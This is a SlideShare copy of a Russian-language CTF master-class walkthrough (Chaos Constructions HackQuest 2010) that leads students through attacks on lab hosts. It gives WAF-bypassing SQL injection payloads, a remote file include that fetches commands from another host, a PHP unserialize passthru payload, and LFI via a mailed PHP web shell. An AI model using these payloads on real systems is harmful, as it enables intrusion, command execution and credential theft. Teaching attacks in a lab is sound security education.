SlideShare a Scribd company logo
CHAOS CONSTRUCTIONS HACKQUEST 2010
FULL DISCLOSURE

МАСТЕР-КЛАСС
ОГЛАВЛЕНИЕ

1   ЗАДАНИЯ МАСТЕР-КЛАССА ........................................................................................3

    1.1 П РАКТИЧЕСКОЕ    ЗАНЯТИЕ , ЧАСТЬ      1                                                                                                3

    1.2 П РАКТИЧЕСКОЕ    ЗАНЯТИЕ .   Ч АСТЬ 2                                                                                                  5

    1.3 П РАКТИЧЕСКОЕ    ЗАНЯТИЕ .   Ч АСТЬ 3                                                                                                  7

    1.4 Д ОПОЛНИТЕЛЬНЫЕ      МАТЕРИАЛЫ                                                                                                         9

        1.4.1 С СЫЛКИ   НА ДОПОЛНИТЕЛЬНЫЕ МАТЕРИАЛЫ ............................................................................................9




Мастер-класс на основе инфраструктуры «Chaos Constructions HackQuest 2010»                                                 Страница 2 из 9
1 Задания мастер-класса


 1.1Практическое занятие, часть 1

Действие                   Описание

1.   Обнаружить            a.   Откройте интерфейс http://192.168.192.2/
     уязвимость SQL        b. Укажите в качестве значения формы поиска 1'.
     Injection
                           c.   Вы должны увидеть следующее сообщение об ошибке:
                                     Query failed: You have an error in your SQL syntax; check the manual that
                                     corresponds to your MySQL server version for the right syntax to use near ''1'',0)' at
                                     line 1
                                     Query: INSERT INTO indexes (text,source) value ('1'',0)


2.   Обойти                a.   В том же интерфейсе укажите в качестве значения формы поиска 1 union select
     превентивные          b. Вы должны увидеть сообщение, свидетельствующее о блокировке запроса
     защитные                   превентивным защитным механизмом Mod_Security:
     механизмы (WAF)
                                     Method Not Implemented
                           c.   Вернитесь на предыдущую страницу и воспользуйтесь методом обхода правил
                                противодействия атаке «Внедрение операторов SQL» в Mod_Security. Для этого в
                                качестве значения формы поиска укажите:
                                /*!union select*/
                                /*!12345union select*/
                           d. Полученное сообщение об ошибке (…syntax to use near 'union select*/)'…)
                                свидетельствует о том, что существует возможность контролировать поступающие к
                                веб-приложению запросы, которые, в свою очередь, используются для генерации
                                SQL-запросов в обход политики безопасности Web Application Firewall.
3.   Воспользоваться       a.   Для получения доступа к системе управления сайта воспользуйтесь техникой
     уязвимостью SQL            проведения атаки Error-based SQL Injection:
     Injection для              1'/*!%2b(select+1+from(select+count(*),concat((select+user()
     получения доступа к        +from+information_schema.tables+limit+0,1),0x3a,floor(rand(0)*2))x+from+informa
     системе управления         tion_schema.tables+group+by+x)a)%2b*/'1
     сайтом.
                           b. Следующий набор запросов поможет Вам достигнуть поставленной цели:
                                1'/*!,
                                (select+1+from(select+count(*),concat((select+table_name+from+information_schema
                                .tables+where+table_schema!='information_schema'+and+table_schema!
                                ='mysql'+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group
                                +by+x)a))*/on+duplicate+key+update+a=('


                                1'/*!,
                                (select+1+from(select+count(*),concat((select+column_name+from+information_sche
                                ma.columns+where+table_name='admins'+limit+0,1),0x3a,floor(rand(0)*2))x+from+i



 Мастер-класс на основе инфраструктуры «Chaos Constructions HackQuest 2010»                            Страница 3 из 9
Действие                   Описание

                                nformation_schema.columns+group+by+x)a))*/on+duplicate+key+update+a=('


                                1'/*!,
                                (select+1+from(select+count(*),concat((select+column_name+from+information_sche
                                ma.columns+where+table_name='admins'+limit+1,1),0x3a,floor(rand(0)*2))x+from+i
                                nformation_schema.columns+group+by+x)a))*/on+duplicate+key+update+a=('
4.   Авторизуйтесь в       a.   Используя полученное имя пользователя на предыдущем этапе и пароль «ihs7rv»,
     системе управления         пройдите авторизацию по адресу http://192.168.192.2/panel/.
     сайтом и              b. Уязвимость «Local File Including» содержится в параметре «page» серверного
     воспользуйтесь             сценария «cms_v10.php». Следующий запрос позволит Вам выполнять команды на
     уязвимостью LFI для        сервере:
     получения «ключа»
                                192.168.192.2/panel/cms_v10.php?page=http://192.168.192.4/include.txt&cmd=ls
                           c.   Воспользуйтесь уязвимостью, чтобы получить содержимое файла KEY в корневой
                                директории веб-сервера.




 Мастер-класс на основе инфраструктуры «Chaos Constructions HackQuest 2010»                   Страница 4 из 9
1.2Практическое занятие. Часть 2

Действие                   Описание

Примечание: Для выполнения заданий первой части практического занятия необходимо использовать браузер Mozilla
Firefox с установленным дополнением «Tamper Data» (https://addons.mozilla.org/firefox/addon/966).
5.   Подобрать             d. Откройте интерфейс http://192.168.192.6/.
     «спрятанные» за       e.   Убедитесь в отсутствии поступающих в веб-приложение параметров, кроме
     mod_rewrite                параметров в форме авторизации пользователя.
     поступающие в веб-
                           f.   Перейдите на страницу http://192.168.192.4/fuzz/.
     приложение
     параметры.            g.   Ознакомьтесь с примером использования утилиты по указанному адресу.
                           h. Для осуществления перебора поступающих в веб-приложение параметров с IP-
                                адресом 192.168.192.6 используйте следующий запрос:
                                http://192.168.192.4/fuzz/?url=http://192.168.192.6/&type=1&length=3&sym=1'
                           i.   Чтобы понять смысл такого подхода, попробуйте другие запросы:
                                http://192.168.192.4/fuzz/?url=http://192.168.192.6/&type=1&length=3&sym=1
                                http://192.168.192.4/fuzz/?url=http://192.168.192.6/&type=1&length=3&sym=2
                                http://192.168.192.4/fuzz/?url=http://192.168.192.6/&type=1&length=3&sym=a
6.   Воспользоваться       a.   Откройте интерфейс http://192.168.192.6/.
     уязвимостью SQL       b. Полученные знания на предыдущем этапе позволят обнаружить уязвимость «слепое
     Injection.                 внедрение операторов SQL». Выполните следующие запросы для ее обнаружения:
                                /index.php?pag=1'or(1)=(1)/*&login=1&password=1
                                /index.php?pag=1'or(1)=(2)/*&login=1&password=1
                           c.   Различия в ответах веб-приложения позволяют читать данные из базы данных.
                                Например, следующий запрос является истинным:
                                /index.php?pag=1'+or+mid(version(),1,3)='4.0'/*&login=1&password=1
                                Это означает, что версия базы данных – 4.0.x.
                           d. Восстановите имя пользователя с использованием данного подхода. Пример:
                                /index.php?pag=1'+or+mid(login,1,1)='b'/*&login=1&password=1
                                Первая буква имени пользователя – символ «b».
Примечание: пароль для учетной записи администратора приложения – «qWeRtY123».
7.   Обнаружить            a.   Пройдите авторизацию на интерфейсе http://192.168.192.6/.
     уязвимость при        b. Скопируйте архив, содержащий резервную копию приложения.
     вызове функции
                           c.   Путем анализа содержимого архива найдите уязвимость при вызове функции
     unserialize().
                                unserialize() и уязвимость, связанную с HTTP Parameter Pollution.



8.   Воспользоваться       a.   Откройте интерфейс http://192.168.192.6/. Уязвимость содержится в параметре
     уязвимостью при            cookie[admin_id]. Следующий запрос позволяет выполнить функцию phpinfo():
     вызове функции



 Мастер-класс на основе инфраструктуры «Chaos Constructions HackQuest 2010»                     Страница 5 из 9
Действие                     Описание

   unserialize() с целью       O:8:"Database":1:{s:8:"shutdown"%3Ba:2:
   выполнения команд       {i:0%3Bs:7:"phpinfo"%3Bi:1%3Bs:2:"-1"%3B}}
   ОС и для получения
   «ключа».
                             b. Приведенный ниже запрос аналогичным образом позволит выполнить команду
                                  получения списка файлов и каталогов в текущем каталоге веб-сервера:


                               O:8:"Database":1:{s:8:"shutdown"%3Ba:2:{i:0%3Bs:8:"passthru"%3Bi:1%3Bs:8:"ls -
                           la /"%3B}}


                             c.   Воспользуйтесь данной уязвимостью для получения содержимого файла «KEY»,
                                  который расположен в корневой директории сервера.
Примечание: попробуйте воспользоваться уязвимостью HTTP Parameter Pollution для получения другого «ключа».




 Мастер-класс на основе инфраструктуры «Chaos Constructions HackQuest 2010»                     Страница 6 из 9
1.3Практическое занятие. Часть 3

Действие                  Описание

1.   Осуществить          a.   Перейдите в командную строку путем использования команды cmd из меню Пуск-
     перенос DNS-зоны.         >Выполнить.
                          b. Введите команду nslookup, после чего выберите DNS-сервер, с которым необходимо
                               взаимодействовать:
                               server 192.168.192.10
                          c.   Для получения всех записей с сервера DNS установите соответствующий параметр:
                               set type=any
                          d. После этого разрешите IP-адрес из обратной DNS-зоны сети 192.168.192.0/24:
                               10.192.168.192.in-addr.arpa
                               Вы должны увидеть следующий ответ DNS-сервера:
                               Server: [192.168.192.10]
                               Address: 192.168.192.10


                               10.192.168.192.in-addr.arpa        name = ns.cc10.site
                               192.168.192.in-addr.arpa         nameserver = ns.cc10.site
                               ns.cc10.site      internet address = 192.168.192.10
                          e.   Теперь вы знаете прямую DNS-зону – это cc10.site. Следующая команда позволит
                               осуществить перенос зоны:
                               ls -d cc10.site
                          f.   Для того чтобы браузер смог осуществить разрешение имен сайтов «vasya.cc10.site»
                               и «r00t.cc10.site», расположенных на веб-сервере с IP-адресом 192.168.192.10,
                               необходимо:
                               -     либо изменить настройки DNS-сервера на сетевом адаптере, прописав в
                                    качестве первичного DNS-сервера IP-адрес 192.168.192.10;
                               -    либо прописать соответствующие строки в файл %systemroot%System32drivers
                                    etchosts.
2.   Обнаружить и         a.   Перейдите на сайт http://vasya.cc10.site/ и найдите уязвимость Local File Including.
     воспользоваться           Следующая конструкция позволяет получить содержимое файла /etc/passwd:
     уязвимостью LFI.          ../../../../../etc/passwd%00
                          b. Единственный способ, которым можно воспользоваться для получения возможности
                               выполнения команд на сервере при эксплуатации уязвимости LFI в контексте
                               исследуемого сайта – это использование локального файла электронной почты в
                               качестве контейнера полезной нагрузки. Используя командную строку, осуществите
                               отправку письма пользователю vasya:
                               telnet 192.168.192.10 25
                               ehlo cc10.site
                               mail from:any@cc10.site



 Мастер-класс на основе инфраструктуры «Chaos Constructions HackQuest 2010»                      Страница 7 из 9
Действие                    Описание

                                 rcpt to:vasya
                                 data
                                 <?php passthru($_GET['cmd']);?>
                                 .
                            c.   После успешной отправки почтового сообщения у Вас появляется возможность
                                 выполнения команд ОС:
                                 http://vasya.cc10.site/index.php?file=/var/mail/vasya%00&cmd=ls -la /
3.   Осуществить обход      a.   Перейдите на сайт http://r00t.cc10.site/. Как Вы можете заметить, сайт требует Basic-
     ограничений                 авторизации. Подобная ситуация в контексте хостинг-центра скорее всего связана с
     SuEXEC для                  тем, что в корневом каталоге сайта r00t.cc10.site содержится файл .htaccess.
     получения доступа к    b. Для того чтобы получить доступ к содержимому файла .htaccess в корневом каталоге
     содержимому сайта           сайта r00t.cc10.site (/usr/local/www/data/root/), выполните следующие команды:
     r00t.cc10.site.
                                 http://vasya.cc10.site/index.php?file=/var/mail/vasya%00&cmd=echo Options
                                 +FollowSymLinks > .htaccess
                                 http://vasya.cc10.site/index.php?file=/var/mail/vasya%00&cmd=ln -s /usr/local/www/
                                 data/root/.htaccess /usr/local/www/data/vasya/test.txt
                            c.   На этом этапе Вы можете реализовать доступ к требуемым данным:
                                 http://vasya.cc10.site/test.txt
                            d. Получите доступ к содержимому файла .htpasswd и осуществите авторизацию на
                                 сайте http://r00t.cc10.site/. После этого Вы получите доступ к заветному «ключу».
Примечание: на сайте r00t.cc10.site используется пароль «password».




 Мастер-класс на основе инфраструктуры «Chaos Constructions HackQuest 2010»                       Страница 8 из 9
1.4Дополнительные материалы

1.4.1 Ссылки на дополнительные материалы
        Дополнительные материалы доступны по следующим ссылкам:
               http://www.securitylab.ru/hq2010
               http://cc.org.ru/
               http://devteev.blogspot.com/2010/08/chaos-constructions-2010_30.html




Мастер-класс на основе инфраструктуры «Chaos Constructions HackQuest 2010»   Страница 9 из 9

More Related Content

What's hot

Web осень 2013 лекция 3
Web осень 2013 лекция 3Web осень 2013 лекция 3
Web осень 2013 лекция 3Technopark
 
Взломать сайт на ASP.NET
Взломать сайт на ASP.NETВзломать сайт на ASP.NET
Взломать сайт на ASP.NET
Positive Hack Days
 
Web осень 2013 лекция 4
Web осень 2013 лекция 4Web осень 2013 лекция 4
Web осень 2013 лекция 4Technopark
 
Эволюция BackDoor.Flashback
Эволюция BackDoor.FlashbackЭволюция BackDoor.Flashback
Эволюция BackDoor.Flashbackhexminer
 
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
Безопасность веб-приложений.  Так ли опасна виртуальная угроза?Безопасность веб-приложений.  Так ли опасна виртуальная угроза?
Безопасность веб-приложений. Так ли опасна виртуальная угроза?phpdevby
 
Web осень 2013 лекция 2
Web осень 2013 лекция 2Web осень 2013 лекция 2
Web осень 2013 лекция 2Technopark
 
Sql инъекции в тестировании
Sql инъекции в тестированииSql инъекции в тестировании
Sql инъекции в тестированииISsoft
 
Л8 Django. Дополнительные темы
Л8 Django. Дополнительные темыЛ8 Django. Дополнительные темы
Л8 Django. Дополнительные темы
Technosphere1
 
СУБД 2013 Лекция №9 "Безопасность баз данных"
СУБД 2013 Лекция №9 "Безопасность баз данных"СУБД 2013 Лекция №9 "Безопасность баз данных"
СУБД 2013 Лекция №9 "Безопасность баз данных"
Technopark
 
Advanced Sql Injection
Advanced Sql InjectionAdvanced Sql Injection
Advanced Sql InjectionDmitry Evteev
 
МАИ, Сети ЭВМ, Лекция №5
МАИ, Сети ЭВМ, Лекция №5МАИ, Сети ЭВМ, Лекция №5
МАИ, Сети ЭВМ, Лекция №5
Dima Dzuba
 
Sitecontrol module position [site-control.ru]
Sitecontrol module position [site-control.ru]Sitecontrol module position [site-control.ru]
Sitecontrol module position [site-control.ru]
Burt and Co LLC
 
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)Максим Кочкин (Wamba)
Максим Кочкин (Wamba)Ontico
 
Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"Andrew Mayorov
 
тестирование защищенности веб приложений
тестирование защищенности веб приложенийтестирование защищенности веб приложений
тестирование защищенности веб приложений
Zestranec
 
Архитектура. Доступноять программных систем.
Архитектура. Доступноять программных систем.Архитектура. Доступноять программных систем.
Архитектура. Доступноять программных систем.
Dima Dzuba
 

What's hot (20)

Web осень 2013 лекция 3
Web осень 2013 лекция 3Web осень 2013 лекция 3
Web осень 2013 лекция 3
 
Взломать сайт на ASP.NET
Взломать сайт на ASP.NETВзломать сайт на ASP.NET
Взломать сайт на ASP.NET
 
PT MIFI Labsql
PT MIFI LabsqlPT MIFI Labsql
PT MIFI Labsql
 
Web осень 2013 лекция 4
Web осень 2013 лекция 4Web осень 2013 лекция 4
Web осень 2013 лекция 4
 
Эволюция BackDoor.Flashback
Эволюция BackDoor.FlashbackЭволюция BackDoor.Flashback
Эволюция BackDoor.Flashback
 
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
Безопасность веб-приложений.  Так ли опасна виртуальная угроза?Безопасность веб-приложений.  Так ли опасна виртуальная угроза?
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
 
176023
176023176023
176023
 
Web осень 2013 лекция 2
Web осень 2013 лекция 2Web осень 2013 лекция 2
Web осень 2013 лекция 2
 
PT MIFI Labsql
PT MIFI LabsqlPT MIFI Labsql
PT MIFI Labsql
 
Sql инъекции в тестировании
Sql инъекции в тестированииSql инъекции в тестировании
Sql инъекции в тестировании
 
Л8 Django. Дополнительные темы
Л8 Django. Дополнительные темыЛ8 Django. Дополнительные темы
Л8 Django. Дополнительные темы
 
СУБД 2013 Лекция №9 "Безопасность баз данных"
СУБД 2013 Лекция №9 "Безопасность баз данных"СУБД 2013 Лекция №9 "Безопасность баз данных"
СУБД 2013 Лекция №9 "Безопасность баз данных"
 
Advanced Sql Injection
Advanced Sql InjectionAdvanced Sql Injection
Advanced Sql Injection
 
МАИ, Сети ЭВМ, Лекция №5
МАИ, Сети ЭВМ, Лекция №5МАИ, Сети ЭВМ, Лекция №5
МАИ, Сети ЭВМ, Лекция №5
 
Sitecontrol module position [site-control.ru]
Sitecontrol module position [site-control.ru]Sitecontrol module position [site-control.ru]
Sitecontrol module position [site-control.ru]
 
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
 
Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"
 
тестирование защищенности веб приложений
тестирование защищенности веб приложенийтестирование защищенности веб приложений
тестирование защищенности веб приложений
 
PT Hackday#2
PT Hackday#2PT Hackday#2
PT Hackday#2
 
Архитектура. Доступноять программных систем.
Архитектура. Доступноять программных систем.Архитектура. Доступноять программных систем.
Архитектура. Доступноять программных систем.
 

Viewers also liked

Unit 10 projec tok
Unit 10 projec tokUnit 10 projec tok
Unit 10 projec tokwatler
 
7Summits Case Study - Milwaukee School of Engineering
7Summits Case Study - Milwaukee School of Engineering7Summits Case Study - Milwaukee School of Engineering
7Summits Case Study - Milwaukee School of Engineering
7Summits
 
Lesson 10 a& b
Lesson 10 a& bLesson 10 a& b
Lesson 10 a& bwatler
 
Water project
Water projectWater project
Water projectwatler
 

Viewers also liked (6)

Ohjeet nStudy
Ohjeet nStudyOhjeet nStudy
Ohjeet nStudy
 
Unit 10 projec tok
Unit 10 projec tokUnit 10 projec tok
Unit 10 projec tok
 
Reporte octubre 2011
Reporte octubre 2011Reporte octubre 2011
Reporte octubre 2011
 
7Summits Case Study - Milwaukee School of Engineering
7Summits Case Study - Milwaukee School of Engineering7Summits Case Study - Milwaukee School of Engineering
7Summits Case Study - Milwaukee School of Engineering
 
Lesson 10 a& b
Lesson 10 a& bLesson 10 a& b
Lesson 10 a& b
 
Water project
Water projectWater project
Water project
 

Similar to Chaos Constructions HackQuest 2010 Full Disclosure (мастер-класс)

Тестирование защищенности веб-приложений
Тестирование защищенности веб-приложенийТестирование защищенности веб-приложений
Тестирование защищенности веб-приложений
SQALab
 
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровКак защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Yandex
 
11 лекция, петр волков
11 лекция, петр волков11 лекция, петр волков
11 лекция, петр волков
karina krew
 
Symfony2 practice
Symfony2 practiceSymfony2 practice
Symfony2 practice
Skorney
 
Web deployment
Web deploymentWeb deployment
Web deployment
GetDev.NET
 
Тестирование на проникновение в сетях Microsoft (v.2)
Тестирование на проникновение в сетях Microsoft (v.2)Тестирование на проникновение в сетях Microsoft (v.2)
Тестирование на проникновение в сетях Microsoft (v.2)
Dmitry Evteev
 
Устройство фреймворка symfony 2 (http://frontend-dev.ru)
Устройство фреймворка symfony 2 (http://frontend-dev.ru)Устройство фреймворка symfony 2 (http://frontend-dev.ru)
Устройство фреймворка symfony 2 (http://frontend-dev.ru)
Александр Егурцов
 
РусКрипто CTF 2010 Full Disclosure (мастер класс)
РусКрипто CTF 2010 Full Disclosure (мастер класс)РусКрипто CTF 2010 Full Disclosure (мастер класс)
РусКрипто CTF 2010 Full Disclosure (мастер класс)
Dmitry Evteev
 
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
История из жизни. Демонстрация работы реального злоумышленника на примере ата...История из жизни. Демонстрация работы реального злоумышленника на примере ата...
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
Dmitry Evteev
 
The Old New ASP.NET
The Old New ASP.NETThe Old New ASP.NET
The Old New ASP.NET
Vitaly Baum
 
Ruscrypto CTF 2010 Full Disclosure
Ruscrypto CTF 2010 Full DisclosureRuscrypto CTF 2010 Full Disclosure
Ruscrypto CTF 2010 Full Disclosure
Dmitry Evteev
 
"API «Битрикс24» — разбор с пристрастием". Александр Сербул, 1С-Битрикс
"API «Битрикс24» — разбор с пристрастием". Александр Сербул, 1С-Битрикс"API «Битрикс24» — разбор с пристрастием". Александр Сербул, 1С-Битрикс
"API «Битрикс24» — разбор с пристрастием". Александр Сербул, 1С-Битрикс
Yandex
 
Взломать Web-сайт на ASP.NET? Сложно, но можно!
Взломать Web-сайт на ASP.NET? Сложно, но можно!Взломать Web-сайт на ASP.NET? Сложно, но можно!
Взломать Web-сайт на ASP.NET? Сложно, но можно!
Vladimir Kochetkov
 
Frontend весна 2014 лекция 1
Frontend весна 2014 лекция 1Frontend весна 2014 лекция 1
Frontend весна 2014 лекция 1Technopark
 
Оранжевый - новый синий: Как портировать Chrome Extension в Firefox Extension
Оранжевый - новый синий: Как портировать Chrome Extension в Firefox ExtensionОранжевый - новый синий: Как портировать Chrome Extension в Firefox Extension
Оранжевый - новый синий: Как портировать Chrome Extension в Firefox Extension
chaykaborya
 
Waf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScriptWaf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScript
Positive Hack Days
 
Воюем за ресурсы (ZFConf2011)
Воюем за ресурсы (ZFConf2011)Воюем за ресурсы (ZFConf2011)
Воюем за ресурсы (ZFConf2011)Alexey Kachayev
 
Белов наиболее часто уязвимые места в веб приложениях
Белов наиболее часто уязвимые места в веб приложенияхБелов наиболее часто уязвимые места в веб приложениях
Белов наиболее часто уязвимые места в веб приложенияхqasib
 
Чуть сложнее чем Singleton: аннотации, IOC, АОП
Чуть сложнее чем Singleton: аннотации, IOC, АОПЧуть сложнее чем Singleton: аннотации, IOC, АОП
Чуть сложнее чем Singleton: аннотации, IOC, АОП
Kirill Chebunin
 

Similar to Chaos Constructions HackQuest 2010 Full Disclosure (мастер-класс) (20)

Тестирование защищенности веб-приложений
Тестирование защищенности веб-приложенийТестирование защищенности веб-приложений
Тестирование защищенности веб-приложений
 
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровКак защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
 
11 лекция, петр волков
11 лекция, петр волков11 лекция, петр волков
11 лекция, петр волков
 
Symfony2 practice
Symfony2 practiceSymfony2 practice
Symfony2 practice
 
Web deployment
Web deploymentWeb deployment
Web deployment
 
Тестирование на проникновение в сетях Microsoft (v.2)
Тестирование на проникновение в сетях Microsoft (v.2)Тестирование на проникновение в сетях Microsoft (v.2)
Тестирование на проникновение в сетях Microsoft (v.2)
 
Устройство фреймворка symfony 2 (http://frontend-dev.ru)
Устройство фреймворка symfony 2 (http://frontend-dev.ru)Устройство фреймворка symfony 2 (http://frontend-dev.ru)
Устройство фреймворка symfony 2 (http://frontend-dev.ru)
 
РусКрипто CTF 2010 Full Disclosure (мастер класс)
РусКрипто CTF 2010 Full Disclosure (мастер класс)РусКрипто CTF 2010 Full Disclosure (мастер класс)
РусКрипто CTF 2010 Full Disclosure (мастер класс)
 
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
История из жизни. Демонстрация работы реального злоумышленника на примере ата...История из жизни. Демонстрация работы реального злоумышленника на примере ата...
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
 
The Old New ASP.NET
The Old New ASP.NETThe Old New ASP.NET
The Old New ASP.NET
 
Ruscrypto CTF 2010 Full Disclosure
Ruscrypto CTF 2010 Full DisclosureRuscrypto CTF 2010 Full Disclosure
Ruscrypto CTF 2010 Full Disclosure
 
"API «Битрикс24» — разбор с пристрастием". Александр Сербул, 1С-Битрикс
"API «Битрикс24» — разбор с пристрастием". Александр Сербул, 1С-Битрикс"API «Битрикс24» — разбор с пристрастием". Александр Сербул, 1С-Битрикс
"API «Битрикс24» — разбор с пристрастием". Александр Сербул, 1С-Битрикс
 
Взломать Web-сайт на ASP.NET? Сложно, но можно!
Взломать Web-сайт на ASP.NET? Сложно, но можно!Взломать Web-сайт на ASP.NET? Сложно, но можно!
Взломать Web-сайт на ASP.NET? Сложно, но можно!
 
Frontend весна 2014 лекция 1
Frontend весна 2014 лекция 1Frontend весна 2014 лекция 1
Frontend весна 2014 лекция 1
 
Оранжевый - новый синий: Как портировать Chrome Extension в Firefox Extension
Оранжевый - новый синий: Как портировать Chrome Extension в Firefox ExtensionОранжевый - новый синий: Как портировать Chrome Extension в Firefox Extension
Оранжевый - новый синий: Как портировать Chrome Extension в Firefox Extension
 
Waf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScriptWaf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScript
 
Воюем за ресурсы (ZFConf2011)
Воюем за ресурсы (ZFConf2011)Воюем за ресурсы (ZFConf2011)
Воюем за ресурсы (ZFConf2011)
 
Белов наиболее часто уязвимые места в веб приложениях
Белов наиболее часто уязвимые места в веб приложенияхБелов наиболее часто уязвимые места в веб приложениях
Белов наиболее часто уязвимые места в веб приложениях
 
Чуть сложнее чем Singleton: аннотации, IOC, АОП
Чуть сложнее чем Singleton: аннотации, IOC, АОПЧуть сложнее чем Singleton: аннотации, IOC, АОП
Чуть сложнее чем Singleton: аннотации, IOC, АОП
 
Zend Framework и Doctrine
Zend Framework и DoctrineZend Framework и Doctrine
Zend Framework и Doctrine
 

More from Dmitry Evteev

Противодействие хищению персональных данных и платежной информации в сети Инт...
Противодействие хищению персональных данных и платежной информации в сети Инт...Противодействие хищению персональных данных и платежной информации в сети Инт...
Противодействие хищению персональных данных и платежной информации в сети Инт...
Dmitry Evteev
 
penetest VS. APT
penetest VS. APTpenetest VS. APT
penetest VS. APT
Dmitry Evteev
 
Уязвимости систем ДБО в 2011-2012 гг.
Уязвимости систем ДБО в 2011-2012 гг.Уязвимости систем ДБО в 2011-2012 гг.
Уязвимости систем ДБО в 2011-2012 гг.Dmitry Evteev
 
Статистика по результатам тестирований на проникновение и анализа защищенност...
Статистика по результатам тестирований на проникновение и анализа защищенност...Статистика по результатам тестирований на проникновение и анализа защищенност...
Статистика по результатам тестирований на проникновение и анализа защищенност...Dmitry Evteev
 
Реальные опасности виртуального мира.
Реальные опасности виртуального мира.Реальные опасности виртуального мира.
Реальные опасности виртуального мира.Dmitry Evteev
 
Истории из жизни. Как взламывают сети крупных организаций.
Истории из жизни. Как взламывают сети крупных организаций.Истории из жизни. Как взламывают сети крупных организаций.
Истории из жизни. Как взламывают сети крупных организаций.Dmitry Evteev
 
Демонстрация атаки на ДБО
Демонстрация атаки на ДБОДемонстрация атаки на ДБО
Демонстрация атаки на ДБОDmitry Evteev
 
Типовые проблемы безопасности банковских систем
Типовые проблемы безопасности банковских системТиповые проблемы безопасности банковских систем
Типовые проблемы безопасности банковских системDmitry Evteev
 
Услуги PT для банков
Услуги PT для банковУслуги PT для банков
Услуги PT для банковDmitry Evteev
 
PHDays 2012: Future Now
PHDays 2012: Future NowPHDays 2012: Future Now
PHDays 2012: Future NowDmitry Evteev
 
Такой (не)безопасный веб
Такой (не)безопасный вебТакой (не)безопасный веб
Такой (не)безопасный вебDmitry Evteev
 
Собираем команду хакеров
Собираем команду хакеровСобираем команду хакеров
Собираем команду хакеровDmitry Evteev
 
Тестирование на проникновение в сетях Microsoft
Тестирование на проникновение в сетях MicrosoftТестирование на проникновение в сетях Microsoft
Тестирование на проникновение в сетях MicrosoftDmitry Evteev
 
PHDays CTF 2011 Quals/Afterparty: как это было
PHDays CTF 2011 Quals/Afterparty: как это былоPHDays CTF 2011 Quals/Afterparty: как это было
PHDays CTF 2011 Quals/Afterparty: как это былоDmitry Evteev
 
Как взламывают сети государственных учреждений
Как взламывают сети государственных учрежденийКак взламывают сети государственных учреждений
Как взламывают сети государственных учрежденийDmitry Evteev
 
Введение в тему безопасности веб-приложений
Введение в тему безопасности веб-приложенийВведение в тему безопасности веб-приложений
Введение в тему безопасности веб-приложений
Dmitry Evteev
 
Практика проведения DDoS-тестирований
Практика проведения DDoS-тестированийПрактика проведения DDoS-тестирований
Практика проведения DDoS-тестированийDmitry Evteev
 
Мобильный офис глазами пентестера
Мобильный офис глазами пентестераМобильный офис глазами пентестера
Мобильный офис глазами пентестера
Dmitry Evteev
 
Безопасность веб-приложений сегодня
Безопасность веб-приложений сегодняБезопасность веб-приложений сегодня
Безопасность веб-приложений сегодняDmitry Evteev
 
Penetration testing (AS IS)
Penetration testing (AS IS)Penetration testing (AS IS)
Penetration testing (AS IS)Dmitry Evteev
 

More from Dmitry Evteev (20)

Противодействие хищению персональных данных и платежной информации в сети Инт...
Противодействие хищению персональных данных и платежной информации в сети Инт...Противодействие хищению персональных данных и платежной информации в сети Инт...
Противодействие хищению персональных данных и платежной информации в сети Инт...
 
penetest VS. APT
penetest VS. APTpenetest VS. APT
penetest VS. APT
 
Уязвимости систем ДБО в 2011-2012 гг.
Уязвимости систем ДБО в 2011-2012 гг.Уязвимости систем ДБО в 2011-2012 гг.
Уязвимости систем ДБО в 2011-2012 гг.
 
Статистика по результатам тестирований на проникновение и анализа защищенност...
Статистика по результатам тестирований на проникновение и анализа защищенност...Статистика по результатам тестирований на проникновение и анализа защищенност...
Статистика по результатам тестирований на проникновение и анализа защищенност...
 
Реальные опасности виртуального мира.
Реальные опасности виртуального мира.Реальные опасности виртуального мира.
Реальные опасности виртуального мира.
 
Истории из жизни. Как взламывают сети крупных организаций.
Истории из жизни. Как взламывают сети крупных организаций.Истории из жизни. Как взламывают сети крупных организаций.
Истории из жизни. Как взламывают сети крупных организаций.
 
Демонстрация атаки на ДБО
Демонстрация атаки на ДБОДемонстрация атаки на ДБО
Демонстрация атаки на ДБО
 
Типовые проблемы безопасности банковских систем
Типовые проблемы безопасности банковских системТиповые проблемы безопасности банковских систем
Типовые проблемы безопасности банковских систем
 
Услуги PT для банков
Услуги PT для банковУслуги PT для банков
Услуги PT для банков
 
PHDays 2012: Future Now
PHDays 2012: Future NowPHDays 2012: Future Now
PHDays 2012: Future Now
 
Такой (не)безопасный веб
Такой (не)безопасный вебТакой (не)безопасный веб
Такой (не)безопасный веб
 
Собираем команду хакеров
Собираем команду хакеровСобираем команду хакеров
Собираем команду хакеров
 
Тестирование на проникновение в сетях Microsoft
Тестирование на проникновение в сетях MicrosoftТестирование на проникновение в сетях Microsoft
Тестирование на проникновение в сетях Microsoft
 
PHDays CTF 2011 Quals/Afterparty: как это было
